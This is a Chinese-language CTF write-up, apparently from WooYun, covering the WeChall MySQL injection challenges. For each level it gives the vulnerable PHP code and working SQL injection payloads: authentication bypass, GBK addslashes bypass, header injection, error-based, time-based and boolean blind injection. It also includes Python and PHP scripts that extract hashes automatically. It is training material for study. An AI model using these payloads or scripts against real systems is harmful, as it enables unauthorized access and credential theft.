11

wechall mysql关卡题解 | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

wechall mysql关卡题解

特别鸣谢 Random Debug Slipper 对我的无私帮助

PS:虽然是一份题解,但是其中某些题目的解法还有些不尽人意。如有更好的思路欢迎留言评论 :)

QQ:915910623

Training: MySQL I


最简单的注入情况,参数没有经过任何过滤就带入查询

漏洞代码:

#!php
function auth1_onLogin(WC_Challenge $chall, $username, $password)
{
        $db = auth1_db();

        $password = md5($password);

        $query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

        if (false === ($result = $db->queryFirst($query))) {
                echo GWF_HTML::error('Auth1', $chall->lang('err_unknown'), false); # Unknown user
                return false;
        }

        # Welcome back!
        echo GWF_HTML::message('Auth1', $chall->lang('msg_welcome_back', htmlspecialchars($result['username'])), false);

        # Challenge solved?
        if (strtolower($result['username']) === 'admin') {
                $chall->onChallengeSolved(GWF_Session::getUserID());
        }

        return true;
}

利用语句:

username=admin' -- 

MySQL Authentication Bypass II


比较基础的题目,和上一题不同,username password分开来验证。通常的利用方法是使用union构造已知MD5值的查询。

漏洞代码:

#!php
function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
        $db = auth2_db();

        $password = md5($password);

        $query = "SELECT * FROM users WHERE username='$username'";

        if (false === ($result = $db->queryFirst($query))) {
                echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
                return false;
        }


        #############################
        ### This is the new check ###
        if ($result['password'] !== $password) {
                echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
                return false;
        } #  End of the new code  ###
        #############################


        echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false);

        if (strtolower($result['username']) === 'admin') {
                $chall->onChallengeSolved(GWF_Session::getUserID());
        }

        return true;
}

利用语句:

username=wyl' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b' --  &password=1&login=Login

也可以直接使用mysql自带的 MD5 函数来生成 hash

username=wyl' union select 1,'admin',md5('1') --  &password=1&login=Login

No Escape


一个投票的功能,使用mysql_real_escape_string() 对参数进行了过滤,不过并不需要绕过它,因为它并不会过滤重音符(backtick)

漏洞代码:

#!php
function noesc_voteup($who)
{
        if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) {
                echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false);
                return;
        }


        $db = noesc_db();
        $who = mysql_real_escape_string($who);
        $query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
        if (false !== $db->queryWrite($query)) {
                echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false);
        }

        noesc_stop100();
}

利用方式:

vote_for=bill` = `bill` %2b 111 where bill=0 --%20

当然也可以写的简短一点

barack`=111#

The Guestbook


一个留言本的程序,其中大部分参数都经过了过滤,但是IP地址直接带入insert语句,可以构造一个x-forwraded-for来实现注入

需要在insert语句中使用select子查询

漏洞代码:

#!php
function gbook_getIP()
{
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                return $_SERVER['HTTP_X_FORWARDED_FOR'];
        }
        elseif (isset($_SERVER['HTTP_VIA'])) { 
                return $_SERVER['HTTP_VIA'];
        }
        else {
                return $_SERVER['REMOTE_ADDR'];
        }
}

利用方式:

头中不能使用urlencode,末尾空格会被会忽略

X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) #

如果非要使用--也可以这样构造

X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) -- a

MD5.SALT


这道题是一道简单的注入,不过需要破解MD5,在网站上付费一下就可以了。

漏洞代码:

题目没有给出源代码

利用方式:

' union select password,2 from users -- 

Addslashes


这题的参数使用了Addslashes()函数进行了过滤,使用双字节绕过即可。

漏洞代码:

#!php
function asvsmysql_login($username, $password)
{
        $username = addslashes($username);
        $password = md5($password);

        if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) {
                return htmlDisplayError('Can`t connect to database.');
        }

        $db->setLogging(false);
        $db->setEMailOnError(false);

        $query = "SELECT username FROM users WHERE username='$username' AND password='$password'";

        if (false === ($result = $db->queryFirst($query))) {
                return htmlDisplayError('Wrong username/password.');
        }

        if ($result['username'] !== 'Admin') {
                return htmlDisplayError('You are logged in, but not as Admin.');
        }

        return htmlDisplayMessage('You are logged in. congrats!');
}

利用方式:

使用limit猜测一下,admin的位置

username=Admin%bf' union select username from users limit 1,1 -- 

或者直接构造一个admin出来

username=%b3%27+union+select+Char(65,100,109,105,110)/*

当然这些方法,主要是为了绕过单引号,还有一些有趣的利用

username=%bf%27 OR CONV(username,36,10) = 17431871#

Blinded by the light


盲注,参数没用经过过滤,猜测一个32位的hash,但是要求在128次之内猜解出来,使用二分即可。

漏洞代码:

#!php
function blightVuln($password)
{
        # Do not mess with other sessions!
        if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
        {
                return false;
        }

        $db = blightDB();
        $sessid = GWF_Session::getSession()->getID();
        $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
        return $db->queryFirst($query) !== false;
}

利用脚本:

常规的二分盲注

#!python
import urllib
import urllib2
def doinject(payload):
    url = 'http://www.wechall.net/challenge/blind_light/index.php'
    values = {'injection':payload,'inject':'Inject'}
    data = urllib.urlencode(values)
    #print data
    req = urllib2.Request(url, data)
    req.add_header('cookie','WC=7205526-10787-ZSOZPXjj8gf4BE7K')
    response = urllib2.urlopen(req)
    the_page = response.read()
    if (the_page.find("Welcome back")>0):
        return True
    else:
        return False


wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,33):
    s=0
    t=15
    while (s<t):
        if (t-s==1):
            if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- '):
                m=t
                break
            else:
                m=s
                break
        m=(s+t)/2
        if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- '):
            s=m+1
            print wordlist[s]+":"+wordlist[t]
        else:
            t=m
            print wordlist[s]+":"+wordlist[t]
    res = res+wordlist[m]
    print res

使用正则表达式的盲注

#!php
$sUrl = 'http://www.wechall.net/challenge/blind_light/index.php';
$sPost = 'inject=Inject&injection=';
$sCharset = 'ABCDEF0123456789';


/* for every character */
for ($i=0, $hash=''; $i<32; ++$i) {
        $ch = $sCharset;

        do {
                $ch1 = substr($ch, 0, intval(strlen($ch)/2));
                $ch2 = substr($ch, intval(strlen($ch)/2));

                $p = $sPost.'absolutelyimpossible\' OR 1=(SELECT 1 FROM blight WHERE password REGEXP \'^'.$hash.'['.$ch1.']\' AND sessid=xxx) AND \'1\'=\'1';
                $res = libHTTP::POST($sUrl, $p);

                if (strpos($res['content'], 'Your password is wrong') === false)
                        $ch = $ch1;
                else 
                        $ch = $ch2;

        } while (strlen($ch) > 1);

        $hash .= $ch;
        echo "\rhash: ".$hash;
}

Blinded by the lighter


这题和上题相同,只不过把次数减少成为33次

漏洞代码:

#!php
function blightVuln($password)
{
        # Do not mess with other sessions!
        if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
        {
                return false;
        }

        $db = blightDB();
        $sessid = GWF_Session::getSessSID();
        $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
        return $db->queryFirst($query) !== false;
}

利用方式:

使用基于时间的注入来判断字符ascii码

' or benchmark(ord(substr(password,1,1))*1000000,MD5(1))

这样做可以提高一点精确度

' or sleep(ord(substr(password,1,1)))

ps.这题使用这种方法写的脚本,在精度上会出现问题,如果有什么好的思路请留言告知~~~~

Light in the Darkness


上面两题的加强版,只允许2次查询。不过是返回错误信息的盲注。可以使用双查询报错。

漏洞代码:

#!php
function blightVuln($password)
{
        # Do not mess with other sessions!
        if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
        {
                return false;
        }

        $db = blightDB();
        $sessid = GWF_Session::getSessSID();
        $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
        return $db->queryFirst($query) !== false;
}

利用方式:

1' or (select count(*) from information_schema.tables group by concat(password,floor(rand(0)*2))) -- 

我其实对这种报错方式的原理很好奇,也很不解,有感兴趣的同学欢迎指教。

下面是我对这题的几点疑惑:

特别是使用用户变量时,反应也很神奇,比如这题的另一种解法,不明白其中的原理。

 '||(select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2))||'

我当时设想出这样一种解法,[email protected][email protected]

' or (@lanlan:=password) or (select 1 from(select count(*),concat(@lanlan,floor(rand(0)*2))x from information_schema.tables group by x)a) -- 

Are you blind?


这题也是一道盲注,可是不管对错返回的结果一样。可以使用order by报错的方法来盲注。

漏洞代码:

#!php
function blightVuln(WC_Challenge $chall, $password, $attempt)
{
        # Do not mess with other sessions!
        if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
        {
                return $chall->lang('mawekl_blinds_you', array($attempt));
        }

        # And please, no timing attempts!
        if ( (stripos($password, 'benchmark') !== false) || (stripos($password, 'sleep') !== false) )
        {
                return $chall->lang('mawekl_blinds_you', array($attempt));
        }

        $db = blightDB();
        $sessid = GWF_Session::getSessSID();
        $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
        return $db->queryFirst($query) ? 
                $chall->lang('mawekl_blinds_you', array($attempt)) :
                $chall->lang('mawekl_blinds_you', array($attempt)) ;
}

利用语句:

injection=' or  if(1,1,(select 1 union select 2)) = 1 -- &inject=Inject

Order By Query


这是一个在order by后面的注入,可以直接使用双查询报错来解决。也可以使用盲注的手法猜测。

漏洞代码:

#!php
function addslash2_sort($orderby, $dir)
{
        if (false === ($db = addslash2_get_db())) {
                return false;
        }
        static $whitelist = array(1, 3, 4, 5);
        static $names = array(1 => 'Username', 3 => 'Apples', 4 => 'Bananas', 5 => 'Cherries');

        $dir = GDO::getWhitelistedDirS($dir, 'DESC');

        if (!in_array($orderby, $whitelist)) {
                return htmlDisplayError('Error 1010101: Not in whitelist.');
        }

        $orderby = $db->escape($orderby);

        $query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10";
        if (false === ($rows = $db->queryAll($query))) {
                return false;
        }

        $headers = array(
                array('#'),
                array('Username', '1', 'ASC'),
                array('Apples', '3', 'DESC'),
                array('Bananas', '4', 'DESC'),
                array('Cherries', '5', 'DESC'),
        );
        echo '<div class="box box_c">'.PHP_EOL;
        echo '<table>'.PHP_EOL;
        echo GWF_Table::displayHeaders1($headers, GWF_WEB_ROOT.'challenge/order_by_query/index.php?by=%BY%&dir=%DIR%');
        $i = 1;
        foreach ($rows as $row)
        {
                echo GWF_Table::rowStart();
                echo sprintf('<td align="right">%d</td>', $i++);
                echo sprintf('<td>%s</td>', $row['username']);
                echo sprintf('<td align="right">%s</td>', $row['apples']);
                echo sprintf('<td align="right">%s</td>', $row['bananas']);
                echo sprintf('<td align="right">%s</td>', $row['cherries']);
                echo GWF_Table::rowEnd();
        }
        echo '</table>'.PHP_EOL;
        echo '</div>'.PHP_EOL;
}

利用方式:

by=5 and (select 1 from(select count(*),concat((select password from users where username=0x41646d696e),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a) --

盲注脚本

#!php
<?php
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_COOKIE, 'WC4_SID=xxxxxxxxxxxxxxxxxxxxxxx');
$charset = 'ABCDEF0123456789';
$hash = '';
for($i=0;$i<32;$i++)
{
        $strona = '';
        $index=0;
        for($j=0;strpos($strona,'10</td><td>Admin') === false;$j++)
        {
                curl_setopt($curl, CURLOPT_URL, 'http://www.wechall.net/challenge/order_by_query/index.php?by=3,%20CASE%20username%20WHEN%200x41646d696e%20THEN%202-%28password%20REGEXP%200x5e'.$hash.dechex(ord($charset[$index++])).'%29%20ELSE%202%20END--');
                $strona = curl_exec ($curl);
        }
        $hash .= ''.dechex(ord($charset[--$index]));
}
curl_close($curl);
echo $hash;
?>

Table Names


猜测表名和数据库名的题目,直接查询information_schema即可

漏洞代码:

没有给出源代码

利用方式:

得到表名

username=wyl' union select 1,2,table_name from information_schema.columns where column_name='username' limit 1,1 -- 

得到数据库名

username=wyl' union select 1,2,database() -- 

Table Names II

这道题同样是猜测,数据库名和表名,不过很多关键词都被过滤了。查到mysql的版本,根据文档找information_schema里面的表, 一个一个试一下就行了。

漏洞代码:

#!php
<?php
$secret = require('secret.php');
chdir('../../../');
define('GWF_PAGE_TITLE', 'Table Names II');
require_once('challenge/html_head.php');
require(GWF_CORE_PATH.'module/WeChall/solutionbox.php');

if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE)))
{
        $chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 6, 'challenge/nurfed/more_table_names/index.php', $secret['flag']);
}
$chall->showHeader();
$chall->onCheckSolution();

if (false !== Common::getGet('login'))
{
        $username = Common::getGetString('username', '');
        $password = Common::getGetString('password', '');

        if (preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema\(\)/i', $username.$password))
        {
                echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match'));
        }
        else
        {
                if (false === ($db = gdo_db_instance($secret['host'], $secret['username'], $secret['password'], $secret['database'])))
                {
                        die('Database error.');
                }

                $db->setVerbose(false);
                $db->setLogging(false);
                $db->setEMailOnError(false);


                $query = "SELECT * FROM {$secret['database']}.{$secret['table_name']} WHERE username='$username' AND password='$password'";
                if (false === ($result = ($db->queryFirst($query, false))))
                {
                        echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_login_fail'));
                }
                else
                {
                        echo GWF_HTML::message(GWF_PAGE_TITLE, $chall->lang('on_logged_in', array(GWF_HTML::display($result['username']), GWF_HTML::display($result['message']))));
                }
        }
}

?>
<div class="box box_c">
<form action="challenge.php" method="get">
<div><?php echo $chall->lang('username'); ?>: <input type="text" name="username" value="" /></div>
<div><?php echo $chall->lang('password'); ?>: <input type="text" name="password" value="" /></div>
<div><input type="submit" name="login" value="<?php echo $chall->lang('login'); ?>" /></div>
</form>
</div>
<?php
echo $chall->copyrightFooter();
require_once('challenge/html_foot.php');

利用方式:

' union select 1,2,info from information_schema.processlist-- -

Credit Card Challenge Pwned!


这题描述特别长,看了半天就是发送一个页面给管理员,csrf+injection。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK